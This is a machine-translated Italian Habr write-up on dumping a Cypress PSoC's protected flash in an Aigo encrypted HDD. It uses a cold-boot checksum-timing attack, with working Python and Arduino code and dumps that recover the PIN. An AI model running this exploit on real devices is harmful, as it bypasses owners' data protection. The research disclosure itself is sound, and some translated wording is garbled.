Inversione e hacking dell'unità HDD esterna con crittografia automatica Aigo. Parte 2: prendere un dump da Cypress PSoC

Questa è la seconda e ultima parte dell'articolo sull'hacking delle unità esterne con crittografia automatica. Lascia che ti ricordi che un collega mi ha recentemente portato un disco rigido Patriot (Aigo) SK8671 e ho deciso di invertirlo e ora condivido cosa ne è venuto fuori. Prima di leggere oltre, assicurati di leggere prima parte articolo.

4. Iniziamo a eseguire il dump dall'unità flash PSoC interna
5. Protocollo ISSP
– 5.1. Cos'è l'ISSP
– 5.2. Vettori demistificanti
– 5.3. Comunicazione con PSoC
– 5.4. Identificazione dei registri su chip
– 5.5. Bit di sicurezza
6. Primo attacco (fallito): ROMX
7. Secondo attacco: tracciamento dell'avvio a freddo
– 7.1. Implementazione
– 7.2. Leggere il risultato
– 7.3. Ricostruzione binaria flash
– 7.4. Individuazione dell'indirizzo di memorizzazione del codice PIN
– 7.5. Effettuando una discarica del blocco n. 126
– 7.6. Recupero del codice PIN
8. Qual è il prossimo?
9. Заключение

Inversione e hacking dell'unità HDD esterna con crittografia automatica Aigo. Parte 2: prendere un dump da Cypress PSoC


4. Iniziamo a eseguire il dump dall'unità flash PSoC interna

Quindi, tutto indica (come abbiamo stabilito nella [prima parte]()) che il codice PIN è memorizzato nelle profondità flash del PSoC. Pertanto, dobbiamo leggere queste profondità flash. Fronte del lavoro necessario:

  • prendere il controllo della “comunicazione” con il microcontrollore;
  • trovare un modo per verificare se questa “comunicazione” è protetta dalla lettura dall’esterno;
  • trovare un modo per aggirare la protezione.

Esistono due posti in cui ha senso cercare un codice PIN valido:

  • memoria flash interna;
  • SRAM, dove è possibile memorizzare il codice PIN per confrontarlo con il codice PIN inserito dall'utente.

Guardando al futuro, noterò che sono comunque riuscito a eseguire un dump dell'unità flash PSoC interna, bypassando il suo sistema di sicurezza utilizzando un attacco hardware chiamato "cold boot tracing", dopo aver invertito le funzionalità non documentate del protocollo ISSP. Ciò mi ha permesso di scaricare direttamente il codice PIN effettivo.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Codice programma finale:

5. Protocollo ISSP

5.1. Cos'è l'ISSP

La “comunicazione” con un microcontrollore può significare cose diverse: da “venditore a fornitore” all’interazione utilizzando un protocollo seriale (ad esempio, ICSP per il PIC di Microchip).

Cypress dispone di un proprio protocollo proprietario per questo, chiamato ISSP (protocollo di programmazione seriale in-system), parzialmente descritto in specifica tecnica. Brevetto US7185162 fornisce anche alcune informazioni. Esiste anche un equivalente OpenSource chiamato HSSP (lo useremo un po' più tardi). L'ISSP funziona come segue:

  • riavviare il PSoC;
  • invia il numero magico al pin dati seriale di questo PSoC; per entrare nella modalità di programmazione esterna;
  • inviare comandi, che sono lunghe stringhe di bit chiamate "vettori".

La documentazione ISSP definisce questi vettori solo per una piccola manciata di comandi:

  • Inizializza-1
  • Inizializza-2
  • Inizializza-3 (opzioni 3 V e 5 V)
  • IMPOSTAZIONE ID
  • LEGGI-ID-PAROLA
  • SET-BLOCK-NUM: 10011111010dddddddd111, dove dddddddd=blocco #
  • CANCELLAZIONE IN GRUPPO
  • BLOCCO DI PROGRAMMA
  • VERIFICA-IMPOSTAZIONE
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, dove DDDDDDDD = dati in uscita, aaaaaa = indirizzo (6 bit)
  • WRITE-BYTE: 10010aaaaaaddddddd111, dove dddddddd = dati in ingresso, aaaaaa = indirizzo (6 bit)
  • PAGAMENTI SICURI
  • IMPOSTAZIONE CHECKSUM
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, dove DDDDDDDDDDDDDDDD = dati in uscita: checksum del dispositivo
  • CANCELLARE BLOCCO

Ad esempio, il vettore per Inizializza-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Tutti i vettori hanno la stessa lunghezza: 22 bit. La documentazione HSSP contiene alcune informazioni aggiuntive sull'ISSP: "Un vettore ISSP non è altro che una sequenza di bit che rappresenta un insieme di istruzioni."

5.2. Vettori demistificanti

Scopriamo cosa sta succedendo qui. Inizialmente supponevo che questi stessi vettori fossero versioni grezze delle istruzioni M8C, ma dopo aver verificato questa ipotesi, ho scoperto che i codici operativi delle operazioni non corrispondevano.

Poi ho cercato su Google il vettore sopra e mi sono imbattuto eccolo qui uno studio in cui l'autore, pur senza entrare nei dettagli, fornisce alcuni consigli utili: “Ogni istruzione inizia con tre bit che corrispondono a uno dei quattro mnemonici (leggi dalla RAM, scrivi su RAM, leggi registro, scrivi registro). Poi ci sono 8 bit di indirizzo, seguiti da 8 bit di dati (lettura o scrittura) e infine tre bit di stop.

Quindi ho potuto raccogliere alcune informazioni molto utili dalla sezione Supervisory ROM (SROM). manuale tecnico. SROM è una ROM hardcoded nel PSoC che fornisce funzioni di utilità (in modo simile a Syscall) per il codice di programma in esecuzione nello spazio utente:

  • 00h:SWBootReimposta
  • 01h: LeggiBlocco
  • 02h: Blocco scrittura
  • 03h: CancellaBlocco
  • 06h: TavoloLeggi
  • 07:XNUMX: CheckSum
  • 08h: Calibrazione0
  • 09h: Calibrazione1

Confrontando i nomi dei vettori con le funzioni SROM, possiamo mappare le varie operazioni supportate da questo protocollo sui parametri SROM previsti. Grazie a questo possiamo decodificare i primi tre bit dei vettori ISSP:

  • 100 => “wrem”
  • 101 => “rdmem”
  • 110 => “wrreg”
  • 111 => “rdreg”

Tuttavia, una comprensione completa dei processi su chip può essere ottenuta solo attraverso la comunicazione diretta con il PSoC.

5.3. Comunicazione con PSoC

Poiché Dirk Petrautsky l'ha già fatto portato Codice HSSP di Cypress su Arduino, ho usato Arduino Uno per collegarmi al connettore ISSP della tastiera.

Tieni presente che nel corso delle mie ricerche ho modificato parecchio il codice di Dirk. Puoi trovare la mia modifica su GitHub: qui e il corrispondente script Python per comunicare con Arduino, nel mio repository cypress_psoc_tools.

Quindi, utilizzando Arduino, ho inizialmente utilizzato solo i vettori “ufficiali” per la “comunicazione”. Ho provato a leggere la ROM interna utilizzando il comando VERIFY. Come previsto, non sono riuscito a farlo. Probabilmente a causa del fatto che all'interno della chiavetta USB sono attivati ​​i bit di protezione dalla lettura.

Quindi ho creato alcuni dei miei semplici vettori per scrivere e leggere memoria/registri. Tieni presente che possiamo leggere l'intera SROM anche se l'unità flash è protetta!

5.4. Identificazione dei registri su chip

Dopo aver esaminato i vettori “disassemblati”, ho scoperto che il dispositivo utilizza registri non documentati (0xF8-0xFA) per specificare i codici operativi M8C, che vengono eseguiti direttamente, aggirando la protezione. Ciò mi ha permesso di eseguire vari codici operativi come "ADD", "MOV A, X", "PUSH" o "JMP". Grazie ad essi (osservando gli effetti collaterali che hanno sui registri) ho potuto determinare quali dei registri non documentati erano in realtà registri regolari (A, X, SP e PC).

Di conseguenza, il codice “disassemblato” generato dallo strumento HSSP_disas.rb assomiglia a questo (ho aggiunto commenti per chiarezza):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Bit di sicurezza

A questo punto posso già comunicare con il PSoC, ma non dispongo ancora di informazioni affidabili sui bit di sicurezza della chiavetta. Sono rimasto molto sorpreso dal fatto che Cypress non fornisca all'utente del dispositivo alcun mezzo per verificare se la protezione è attivata. Ho approfondito Google per capire finalmente che il codice HSSP fornito da Cypress è stato aggiornato dopo che Dirk ha rilasciato la sua modifica. E così! È apparso questo nuovo vettore:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Usando questo vettore (vedi read_security_data in psoc.py), otteniamo tutti i bit di sicurezza nella SRAM a 0x80, dove ci sono due bit per blocco protetto.

Il risultato è deprimente: tutto è protetto nella modalità “disabilita lettura e scrittura esterna”. Pertanto, non solo non possiamo leggere nulla da un'unità flash, ma non possiamo nemmeno scrivere nulla (ad esempio, per installare lì un dumper ROM). E l'unico modo per disabilitare la protezione è cancellare completamente l'intero chip. 🙁

6. Primo attacco (fallito): ROMX

Tuttavia, possiamo provare il seguente trucco: poiché abbiamo la capacità di eseguire codici operativi arbitrari, perché non eseguire ROMX, che viene utilizzato per leggere la memoria flash? Questo approccio ha buone possibilità di successo. Perché la funzione ReadBlock che legge i dati dalla SROM (utilizzata dai vettori) controlla se viene chiamata dall'ISSP. Tuttavia, è possibile che il codice operativo ROMX non disponga di tale controllo. Quindi ecco il codice Python (dopo aver aggiunto alcune classi helper al codice Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Purtroppo questo codice non funziona. 🙁 O meglio funziona, ma otteniamo i nostri codici operativi in ​​uscita (0x28 0x30 0x40)! Non penso che la corrispondente funzionalità del dispositivo sia un elemento di protezione dalla lettura. Questo è più simile a un trucco ingegneristico: quando si eseguono codici operativi esterni, il bus ROM viene reindirizzato a un buffer temporaneo.

7. Secondo attacco: tracciamento dell'avvio a freddo

Dato che il trucco ROMX non ha funzionato, ho iniziato a pensare ad un'altra variante di questo trucco, descritta nella pubblicazione "Fare troppa luce sulla protezione del firmware di un microcontrollore".

7.1. Attuazione

La documentazione ISSP fornisce il seguente vettore per CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Questo essenzialmente chiama la funzione SROM 0x07, come presentata nella documentazione (corsivo mio):

Questa funzione di verifica del checksum. Calcola un checksum a 16 bit del numero di blocchi specificati dall'utente in un banco flash, a partire da zero. Il parametro BLOCKID viene utilizzato per passare il numero di blocchi che verranno utilizzati durante il calcolo del checksum. Un valore "1" calcolerà solo il checksum per il blocco zero; mentre "0" farà sì che venga calcolato il checksum totale di tutti i 256 blocchi del flash bank. Il checksum a 16 bit viene restituito tramite KEY1 e KEY2. Il parametro KEY1 memorizza gli 8 bit di ordine inferiore del checksum e il parametro KEY2 memorizza gli 8 bit di ordine superiore. Per i dispositivi con più banchi Flash la funzione checksum viene richiamata separatamente per ciascuno di essi. Il numero di banco con cui funzionerà è impostato dal registro FLS_PR1 (impostando il bit in esso corrispondente al banco flash di destinazione).

Si noti che si tratta di un semplice checksum: i byte vengono semplicemente sommati uno dopo l'altro; nessuna stranezza CRC. Inoltre, sapendo che il core M8C ha un set di registri molto piccolo, ho ipotizzato che durante il calcolo del checksum, i valori intermedi verranno registrati nelle stesse variabili che alla fine andranno all'output: KEY1 (0xF8) / KEY2 ( 0xF9).

Quindi in teoria il mio attacco assomiglia a questo:

  1. Ci colleghiamo tramite ISSP.
  2. Iniziamo il calcolo del checksum utilizzando il vettore CHECKSUM-SETUP.
  3. Riavviamo il processore dopo un tempo specificato T.
  4. Leggiamo la RAM per ottenere il checksum corrente C.
  5. Ripetere i passaggi 3 e 4, aumentando leggermente T ogni volta.
  6. Recuperiamo i dati da una chiavetta USB sottraendo il checksum precedente C da quello attuale.

C'è però un problema: il vettore Inizializzazione-1 che dobbiamo inviare dopo il riavvio sovrascrive KEY1 e KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Questo codice sovrascrive il nostro prezioso checksum chiamando Calibrate1 (funzione SROM 9)... Forse possiamo semplicemente inviare il numero magico (dall'inizio del codice sopra) per accedere alla modalità di programmazione e quindi leggere la SRAM? E sì, funziona! Il codice Arduino che implementa questo attacco è abbastanza semplice:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Leggi checkum_delay.
  2. Esegui il calcolo del checksum (send_checksum_v).
  3. Attendere un periodo di tempo specificato; tenendo conto delle seguenti insidie:
    • Ho perso molto tempo finché non ho scoperto cosa si è scoperto ritardoMicrosecondi funziona correttamente solo con ritardi non superiori a 16383 μs;
    • e poi di nuovo ho trascorso la stessa quantità di tempo finché non ho scoperto che delayMicroseconds, se gli viene passato 0 come input, funziona in modo completamente errato!
  4. Riavvia il PSoC in modalità di programmazione (inviamo semplicemente il numero magico, senza inviare vettori di inizializzazione).

Codice finale in Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

In poche parole, cosa fa questo codice:

  1. Riavvia il PSoC (e gli invia un numero magico).
  2. Invia vettori di inizializzazione completi.
  3. Chiama la funzione Arduino Cmnd_STK_START_CSUM (0x85), dove il ritardo in microsecondi viene passato come parametro.
  4. Legge il checksum (0xF8 e 0xF9) e il registro non documentato 0xF1.

Questo codice viene eseguito 10 volte in 1 microsecondo. 0xF1 è incluso qui perché era l'unico registro che è cambiato durante il calcolo del checksum. Forse è una sorta di variabile temporanea utilizzata dall'unità logica aritmetica. Nota il brutto trucco che uso per resettare Arduino usando picocom quando Arduino smette di mostrare segni di vita (non ho idea del perché).

7.2. Leggere il risultato

Il risultato dello script Python è simile al seguente (semplificato per leggibilità):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Detto questo abbiamo un problema: poiché stiamo operando con un checksum vero e proprio, un byte nullo non modifica il valore letto. Tuttavia, poiché l'intera procedura di calcolo (8192 byte) dura 0,1478 secondi (con leggere variazioni ad ogni esecuzione), che equivalgono a circa 18,04 μs per byte, possiamo sfruttare questo tempo per verificare al momento opportuno il valore del checksum. Per le prime esecuzioni il tutto si legge abbastanza facilmente, poiché la durata della procedura di calcolo è sempre pressoché la stessa. Tuttavia, la fine di questo dump è meno precisa perché le “piccole deviazioni temporali” su ogni esecuzione si sommano fino a diventare significative:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Sono 10 dump per ogni microsecondo di ritardo. Il tempo operativo totale per scaricare tutti gli 8192 byte di una chiavetta USB è di circa 48 ore.

7.3. Ricostruzione binaria flash

Non ho ancora finito di scrivere il codice che ricostruirà completamente il codice di programma della chiavetta, tenendo conto di tutte le deviazioni temporali. Tuttavia, ho già ripristinato l'inizio di questo codice. Per essere sicuro di averlo fatto correttamente, l'ho disassemblato utilizzando m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Sembra abbastanza plausibile!

7.4. Individuazione dell'indirizzo di memorizzazione del codice PIN

Ora che possiamo leggere il checksum nei tempi che ci servono, possiamo facilmente verificare come e dove cambia quando:

  • inserire il codice PIN sbagliato;
  • modificare il codice PIN.

Innanzitutto, per trovare l'indirizzo di archiviazione approssimativo, ho eseguito un dump del checksum con incrementi di 10 ms dopo il riavvio. Poi ho inserito il PIN sbagliato e ho fatto lo stesso.

Il risultato non è stato molto piacevole, poiché ci sono stati molti cambiamenti. Ma alla fine sono riuscito a determinare che il checksum variava tra 120000 µs e 140000 µs di ritardo. Ma il "codice PIN" che ho visualizzato lì era completamente errato, a causa di un artefatto della procedura delayMicroseconds, che fa cose strane quando le viene passato 0.

Poi, dopo aver trascorso quasi 3 ore, mi sono ricordato che la chiamata di sistema SROM CheckSum riceve un argomento in input che specifica il numero di blocchi per il checksum! Quello. possiamo facilmente localizzare l'indirizzo di memorizzazione del codice PIN e il contatore dei “tentativi errati”, con una precisione fino a un blocco di 64 byte.

Le mie esecuzioni iniziali hanno prodotto il seguente risultato:

Inversione e hacking dell'unità HDD esterna con crittografia automatica Aigo. Parte 2: prendere un dump da Cypress PSoC

Quindi ho cambiato il codice PIN da "123456" a "1234567" e ho ottenuto:

Inversione e hacking dell'unità HDD esterna con crittografia automatica Aigo. Parte 2: prendere un dump da Cypress PSoC

Pertanto, il codice PIN e il contatore dei tentativi errati sembrano essere memorizzati nel blocco n. 126.

7.5. Effettuando una discarica del blocco n. 126

Il blocco n. 126 dovrebbe trovarsi da qualche parte intorno a 125x64x18 = 144000μs, dall'inizio del calcolo del checksum, nel mio dump completo, e sembra abbastanza plausibile. Quindi, dopo aver selezionato manualmente numerosi dump non validi (a causa dell'accumulo di "piccole deviazioni temporali"), ho finito per ottenere questi byte (con una latenza di 145527 μs):

Inversione e hacking dell'unità HDD esterna con crittografia automatica Aigo. Parte 2: prendere un dump da Cypress PSoC

È abbastanza ovvio che il codice PIN viene memorizzato in forma non crittografata! Questi valori, ovviamente, non sono scritti in codici ASCII, ma a quanto pare riflettono le letture prese dalla tastiera capacitiva.

Infine, ho eseguito altri test per scoprire dove era memorizzato il contatore dei tentativi errati. Ecco il risultato:

Inversione e hacking dell'unità HDD esterna con crittografia automatica Aigo. Parte 2: prendere un dump da Cypress PSoC

0xFF - significa "15 tentativi" e diminuisce ad ogni tentativo fallito.

7.6. Recupero del codice PIN

Ecco il mio brutto codice che mette insieme quanto sopra:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Ecco il risultato della sua esecuzione:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Evviva! Lavori!

Tieni presente che i valori di latenza che ho utilizzato sono probabilmente rilevanti per un PSoC specifico, quello che ho utilizzato.

8. Qual è il prossimo?

Quindi, riassumiamo il lato PSoC, nel contesto del nostro drive Aigo:

  • possiamo leggere la SRAM anche se è protetta dalla lettura;
  • Possiamo bypassare la protezione anti-swipe utilizzando un attacco di tracciamento del boot a freddo e leggendo direttamente il codice PIN.

Tuttavia il nostro attacco presenta alcuni difetti dovuti a problemi di sincronizzazione. Potrebbe essere migliorato come segue:

  • scrivere un'utilità per decodificare correttamente i dati di output ottenuti a seguito di un attacco di “cold boot trace”;
  • utilizzare un gadget FPGA per creare ritardi temporali più precisi (o utilizzare timer hardware Arduino);
  • provare un altro attacco: inserire un codice PIN deliberatamente errato, riavviare e scaricare la RAM, sperando che il codice PIN corretto venga salvato nella RAM per il confronto. Su Arduino però questa operazione non è così semplice, dato che il livello del segnale di Arduino è di 5 volt, mentre la scheda che stiamo esaminando funziona con segnali a 3,3 volt.

Una cosa interessante che potrebbe essere provata è giocare con il livello di tensione per bypassare la protezione da lettura. Se questo approccio funzionasse, saremmo in grado di ottenere dati assolutamente accurati dall'unità flash, invece di fare affidamento sulla lettura di un checksum con ritardi temporali imprecisi.

Dato che la SROM probabilmente legge i bit di guardia tramite la chiamata di sistema ReadBlock, potremmo fare la stessa cosa di descritto sul blog di Dmitry Nedospasov - una reimplementazione dell'attacco di Chris Gerlinski, annunciato alla conferenza "REcon Bruxelles 2017".

Un'altra cosa divertente che si potrebbe fare è eliminare il case dal chip: fare un dump della SRAM, identificare chiamate di sistema e vulnerabilità non documentate.

9. Заключение

Quindi, la protezione di questa unità lascia molto a desiderare, perché utilizza un microcontrollore normale (non "rinforzato") per memorizzare il codice PIN... Inoltre, non ho (ancora) guardato come vanno le cose con i dati crittografia su questo dispositivo!

Cosa puoi consigliare ad Aigo? Dopo aver analizzato un paio di modelli di unità HDD crittografate, nel 2015 ho realizzato presentazione su SyScan, in cui ha esaminato i problemi di sicurezza di diverse unità HDD esterne e ha fornito raccomandazioni su cosa potrebbe essere migliorato in esse. 🙂

Ho trascorso due fine settimana e diverse sere a fare questa ricerca. Un totale di circa 40 ore. Contando dall'inizio (quando ho aperto il disco) fino alla fine (dump del codice PIN). Le stesse 40 ore includono il tempo che ho trascorso a scrivere questo articolo. È stato un viaggio molto emozionante.

Fonte: habr.com

Aggiungi un commento